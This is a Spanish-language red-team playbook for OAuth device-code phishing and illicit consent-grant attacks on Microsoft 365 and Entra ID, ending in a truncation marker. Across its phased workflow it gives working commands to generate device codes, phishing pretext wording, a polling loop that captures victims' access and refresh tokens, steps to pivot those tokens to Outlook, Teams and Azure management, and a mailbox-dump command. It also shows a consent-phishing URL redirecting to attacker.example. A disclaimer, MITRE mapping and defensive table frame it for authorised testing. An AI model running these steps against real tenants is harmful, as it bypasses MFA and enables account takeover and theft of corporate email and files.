¿Qué hace Ataque OAuth con Phishing de Código de Dispositivo?
Aviso Legal: Esta habilidad es únicamente para pruebas de seguridad autorizadas, ejercicios de equipo rojo y fines educativos. El phishing de código de dispositivo y concesión de consentimiento manipula a usuarios reales para que autoricen el acceso controlado por el atacante a identidades corporativas. Ejecute solo contra inquilinos que posea o tenga autorización explícita por escrito (reglas de enfrentamiento) para probar. El uso no autorizado viola la Ley de Fraude y Abuso Informático (CFAA) y leyes equivalentes en todo el mundo.
Resumen
La concesión de autorización de dispositivo OAuth 2.0 (RFC 8628) fue diseñada para dispositivos con entrada limitada (smart TVs, herramientas CLI) que no pueden presentar fácilmente un inicio de sesión basado en navegador. Un dispositivo solicita un user_code corto y un device_code, muestra el user_code y una URL de verificación al usuario, y sondea el endpoint de token mientras el usuario se autentica en un dispositivo separado y completo. Los atacantes convierten este flujo en un arma: en lugar de un smart TV, el "dispositivo" es la máquina del atacante. El atacante inicia la solicitud de código de dispositivo, luego envía un phishing a la víctima para que visite la página de verificación legítima de Microsoft (https://microsoft.com/devicelogin) e ingrese el user_code generado por el atacante. Debido a que la víctima se autentica en la página de inicio de sesión genuina de Microsoft (completando MFA), los tokens resultantes se emiten para la sesión de sondeo del atacante. Esto elude la MFA por completo: el segundo factor lo satisface la víctima, pero los tokens de portador llegan al atacante (mapeado a MITRE ATT&CK T1528 – Robo de Token de Acceso de Aplicación).
Microsoft Threat Intelligence, Volexity y Proofpoint documentaron un crecimiento pronunciado del phishing de código de dispositivo hasta 2025, con actores alineados con Rusia (rastreados por Microsoft como Storm-2372) entre los más prolíficos. Los informes M-Trends de Mandiant destacan de manera similar el robo de tokens OAuth como un vector principal de acceso inicial en la nube. Una técnica estrechamente relacionada es la concesión de consentimiento ilícito ("phishing OAuth"): el atacante registra una aplicación multiinquilino y engaña a la víctima para que haga clic en una URL /adminconsent o de consentimiento de usuario, otorgando a la aplicación maliciosa permisos delegados de Microsoft Graph (Mail.Read, Files.ReadWrite.All, offline_access) que persisten independientemente del restablecimiento de contraseña. Esta habilidad cubre ambas, más la reutilización de tokens a través de servicios de Microsoft 365 usando TokenTactics y la validación/mapeo de acceso con ROADtools.
La propiedad definitoria que explotan los equipos rojos: los tokens de acceso emitidos a través del flujo de código de dispositivo son válidos por aproximadamente 60-90 minutos, pero el token de actualización adjunto (con el alcance offline_access) sobrevive hasta 90 días y puede canjearse por tokens nuevos contra cualquier recurso de primera parte que el cliente pueda solicitar (Outlook, SharePoint, Teams, Azure Resource Manager), lo que permite un acceso duradero que sobrevive a MFA.
Cuándo Usar
- Durante un ejercicio de equipo rojo autorizado o de asunción de brecha dirigido a Microsoft 365 / Entra ID donde la ingeniería social está dentro del alcance
- Al validar políticas de acceso condicional, la aplicación de MFA y los controles de protección de tokens contra técnicas de phishing reales
- Al probar si una organización restringe el flujo de código de dispositivo OAuth o bloquea el consentimiento de aplicaciones multiinquilino no verificadas
- Al demostrar el riesgo de elusión de MFA para justificar controles de autenticación resistente al phishing (FIDO2) y enlace de tokens
- Al construir detecciones (emparejado con la habilidad del equipo azul
hunting-saas-sso-token-abuse) y necesita telemetría realista
Prerrequisitos
- Autorización escrita/reglas de enfrentamiento que permitan explícitamente el phishing y el robo de tokens contra el inquilino objetivo
- Un canal de entrega de pretextos controlado (infraestructura de phishing sancionada o un buzón de prueba interno)
- Host atacante Linux o Windows con Python 3.8+ y PowerShell 7+
- TokenTactics (PowerShell) y ROADtools (Python) instalados:
# ROADtools (roadrecon + roadtx) — Dirk-jan Mollema / Outsider Security pip install roadtools roadtools_auth # roadtx (ROADtools Token eXchange) se envía con roadtools_auth roadtx --help # TokenTactics v2 (rvrsh3ll) git clone https://github.com/rvrsh3ll/TokenTactics.git pwsh -c "Import-Module ./TokenTactics/TokenTactics.psd1" - Familiaridad con los tipos de concesión OAuth 2.0, la estructura JWT y los ámbitos de Microsoft Graph
Objetivos
- Iniciar una solicitud de código de dispositivo OAuth contra Entra ID usando un ID de cliente de primera parte
- Entregar un pretexto creíble que lleve a la víctima a la página legítima de inicio de sesión de dispositivo de Microsoft
- Sondear el endpoint de token y capturar los tokens de acceso y actualización de la víctima
- Renovar tokens a través de recursos de Microsoft 365 (Graph, Outlook, administración de Azure) para expandir el acceso
- Ejecutar la variante de consentimiento ilícito registrando y difundiendo phishing de consentimiento para una aplicación multiinquilino maliciosa
- Enumerar recursos y datos accesibles con ROADtools para demostrar el impacto
- Documentar la elusión de MFA y producir recomendaciones de remediación
Mapeo MITRE ATT&CK
| ID | Técnica | Aplicación en esta habilidad |
|---|---|---|
| T1528 | Robo de Token de Acceso de Aplicación | El phishing del flujo de código de dispositivo / concesión de consentimiento produce tokens de acceso y actualización OAuth controlados por el atacante que se reutilizan para acceder a servicios en la nube sin reautenticación |
Técnicas relacionadas frecuentemente encadenadas: T1566 Phishing (entrega), T1550.001 Token de Acceso de Aplicación (reutilización de tokens robados), T1098.003 Manipulación de Cuenta: Roles Adicionales en la Nube (persistencia de concesión de consentimiento).
Flujo de Trabajo
Fase 1: Iniciar la Solicitud de Código de Dispositivo
El atacante solicita un código de dispositivo de Entra ID, eligiendo un cliente de primera parte en el que la víctima confíe implícitamente. El ID de cliente de Microsoft Office d3590ed6-52b3-4102-aeff-aad2292ab01c se usa comúnmente porque está preautorizado para recursos amplios de primera parte.
-
Solicitar un código de dispositivo directamente a través del endpoint de token:
# client_id = Microsoft Office; scope solicita offline_access para un token de actualización de larga duración curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d 'scope=https://graph.microsoft.com/.default offline_access' | tee devicecode.json -
La respuesta JSON contiene los campos que se convierten en un arma:
{ "user_code": "B7HVQXKZ2", "device_code": "GMMhmHCXhWEzkobqIHGG_EnNYYsAkukHspeYUk9E8...", "verification_uri": "https://microsoft.com/devicelogin", "expires_in": 900, "interval": 5, "message": "Para iniciar sesión, use un navegador web para abrir la página https://microsoft.com/devicelogin e ingrese el código B7HVQXKZ2 para autenticarse." } -
Observe la ventana de validez de 15 minutos (
expires_in: 900) — el pretexto debe llevar a la víctima a autenticarse rápidamente.Equivalente usando TokenTactics (maneja el sondeo automáticamente):
Import-Module ./TokenTactics/TokenTactics.psd1 # Genera un código de dispositivo y comienza a sondear; imprime el user_code para phishing Get-AzureToken -Client MSGraph
Fase 2: Entregar el Pretexto
El mensaje de phishing NO debe contener un enlace de recolección de credenciales — la víctima se autentica en la página real de Microsoft, lo que vence la sospecha del usuario y la MFA.
- Crear un pretexto que haga referencia a la URL genuina
https://microsoft.com/deviceloginy aluser_code(por ejemplo, "TI está inscribiendo su cuenta en el nuevo dispositivo Teams Rooms; abra microsoft.com/devicelogin e ingrese el código B7HVQXKZ2 dentro de 15 minutos"). - Enviar a través de infraestructura de phishing sancionada. Los códigos/URLs hipervinculados suelen caer en spam, así que presente la URL y el código como texto plano.
- Programar la entrega al inicio de un ciclo de sondeo para que el código esté fresco.
Fase 3: Sondear y Capturar Tokens
Mientras la víctima se autentica y aprueba, sondear el endpoint de token con el device_code hasta que se emitan los tokens.
- Sondear en el
intervaloespecificado por el servidor (5 segundos); se esperaauthorization_pendinghasta que la víctima complete el inicio de sesión:DEVICE_CODE=$(python -c "import json;print(json.load(open('devicecode.json'))['device_code'])") while true; do RESP=$(curl -s -X POST \ 'https://login.microsoftonline.com/organizations/oauth2/v2.0/token' \ -d 'grant_type=urn:ietf:params:oauth:grant-type:device_code' \ -d 'client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c' \ -d "device_code=${DEVICE_CODE}") echo "$RESP" | grep -q access_token && { echo "$RESP" > tokens.json; break; } echo "$RESP" | grep -q authorization_pending || echo "$RESP" sleep 5 done - En caso de éxito, la respuesta produce
access_token,refresh_token,id_token,expires_iny elscopeconcedido. - Decodificar el token de acceso para confirmar la identidad capturada, la audiencia y los ámbitos:
python -c "import json,base64;p=json.load(open('tokens.json'))['access_token'].split('.')[1];print(json.loads(base64.urlsafe_b64decode(p+'=='*(-len(p)%4))))"
Fase 4: Renovar a Través de Recursos de Microsoft 365
El token de actualización (con offline_access) se puede canjear por tokens dirigidos a otros recursos de primera parte, expandiendo el acceso más allá del ámbito original.
- Usar las funciones de actualización de TokenTactics para pivotar el token de actualización a servicios específicos:
# $response contiene el resultado del código de dispositivo de Get-AzureToken $rt = $response.refresh_token Invoke-RefreshToOutlookToken -domain target.com -refreshToken $rt # acceso al buzón Invoke-RefreshToMSGraphToken -domain target.com -refreshToken $rt # Graph Invoke-RefreshToMSTeamsToken -domain target.com -refreshToken $rt # Teams Invoke-RefreshToAzureCoreManagementToken -domain target.com -refreshToken $rt # ARM Invoke-RefreshToSubstrateToken -domain target.com -refreshToken $rt - Equivalente con roadtx, canjear el token de actualización por un nuevo recurso:
roadtx refreshtokento \ -r "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c \ -s https://graph.microsoft.com/.default - Demostrar el acceso al buzón para probar el impacto (solo lectura, dentro del alcance de las reglas de enfrentamiento):
Invoke-DumpOWAMailboxViaMSGraphApi -AccessToken $response.access_token -mailFolder Inbox
Fase 5: Variante de Concesión de Consentimiento Ilícito
En lugar del código de dispositivo, registrar una aplicación multiinquilino maliciosa y engañar a la víctima para que otorgue consentimiento a permisos delegados de Graph para un acceso duradero que sobrevive al restablecimiento de contraseña.
- Registrar una aplicación multiinquilino en un inquilino atacante solicitando ámbitos delegados como
Mail.Read,Files.ReadWrite.All,offline_access. - Construir una URL de consentimiento de usuario y difundir phishing:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize? client_id=<ATTACKER_APP_ID> &response_type=code &redirect_uri=https://attacker.example/callback &response_mode=query &scope=offline_access%20Mail.Read%20Files.ReadWrite.All &state=12345 - Cuando la víctima otorgue consentimiento, intercambiar el
codedevuelto por tokens:curl -s -X POST 'https://login.microsoftonline.com/common/oauth2/v2.0/token' \ -d 'client_id=<ATTACKER_APP_ID>' \ -d 'grant_type=authorization_code' \ -d 'code=<AUTH_CODE>' \ -d 'redirect_uri=https://attacker.example/callback' \ -d 'client_secret=<APP_SECRET>' \ -d 'scope=offline_access Mail.Read Files.ReadWrite.All' - La concesión de consentimiento OAuth persiste como una concesión de entidad de servicio en el inquilino víctima hasta que un administrador la revoque (
Remove-MgServicePrincipalOauth2PermissionGrant).
Fase 6: Enumerar el Impacto con ROADtools
- Autenticar roadrecon con el token capturado / token de actualización y volcar el directorio:
roadrecon auth --refresh-token "$(python -c "import json;print(json.load(open('tokens.json'))['refresh_token'])")" \ -c d3590ed6-52b3-4102-aeff-aad2292ab01c roadrecon gather roadrecon gui # explorar usuarios, grupos, registros de aplicaciones, asignaciones de roles - Identificar el acceso de alto valor: asignaciones de roles, aplicaciones propias, sitios de SharePoint accesibles y concesiones de consentimiento adicionales.
- Registrar exactamente qué datos y roles alcanzaron los tokens robados para el informe del ejercicio.
Herramientas y Recursos
| Herramienta | Propósito | Fuente |
|---|---|---|
| TokenTactics v2 | Generar códigos de dispositivo y tokens de actualización a través de servicios de M365 | https://github.com/rvrsh3ll/TokenTactics |
| ROADtools (roadrecon / roadtx) | Intercambio de tokens, enumeración de directorios, mapeo de acceso | https://github.com/dirkjanm/ROADtools |
| AADInternals | Conjunto de herramientas PowerShell para ataque/reconocimiento de Entra ID | https://github.com/Gerenios/AADInternals |
| RFC 8628 | Especificación de concesión de autorización de dispositivo OAuth 2.0 | https://datatracker.ietf.org/doc/html/rfc8628 |
| Aviso de Microsoft / Storm-2372 | Análisis de campañas de phishing de código de dispositivo | https://www.microsoft.com/en-us/security/blog/ |
| Mandiant M-Trends | Informe de tendencias de robo de tokens OAuth | https://cloud.google.com/security/resources/m-trends |
Recomendaciones Defensivas
| Control | Efecto |
|---|---|
Política de acceso condicional que bloquea el flujo de código de dispositivo (authenticationFlows) para usuarios que no lo necesitan | Elimina la superficie de ataque para la mayoría de los usuarios |
| MFA resistente al phishing (FIDO2 / claves de acceso) + protección de tokens (enlace de tokens) | Los tokens enlazados no se pueden reutilizar fuera del dispositivo de la víctima |
| Restringir el consentimiento de usuario a editores verificados / requerir consentimiento de administrador | Bloquea las concesiones de consentimiento ilícito |
| Frecuencia de inicio de sesión + duraciones de sesión más cortas en redes no confiables | Limita la longevidad del token de actualización |
Monitorear AADNonInteractiveUserSignInLogs para concesiones de código de dispositivo y uso anómalo de tokens | Detección (ver hunting-saas-sso-token-abuse) |
Criterios de Validación
- La solicitud de código de dispositivo devolvió un
user_codeydevice_codeválidos - Pretexto entregado haciendo referencia a la página legítima de inicio de sesión de dispositivo de Microsoft (sin enlace de recolección)
- Endpoint de token sondear y se capturaron
access_token+refresh_token
...
[truncado para la traducción]